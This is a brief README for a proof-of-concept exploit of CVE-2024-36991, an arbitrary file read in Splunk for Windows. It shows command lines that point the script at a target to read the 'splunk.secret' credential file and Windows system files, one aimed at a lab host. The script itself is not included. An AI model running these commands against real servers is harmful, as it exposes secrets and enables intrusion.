Proof of Concept for CVE-2024-36991 which allows an attacker to read arbitrary files in Splunk for versions below to 9.2.2, 9.1.5, and 9.0.10 for Windows.
To read Splunk files just run the script passing the target URL running Splunk and the configuration file you want to read. For example:
python3 CVE-2024-36991.py -u 'https://example.com:8000' -f '/etc/auth/splunk.secret'
To read Windows system files just add the flag --system-files. For example:
python3 CVE-2024-36991.py -u http://haze.htb:8000 -f '/Windows/System32/drivers/etc/hosts' --system-files
Always use this tool for good purposes. Be ethical (: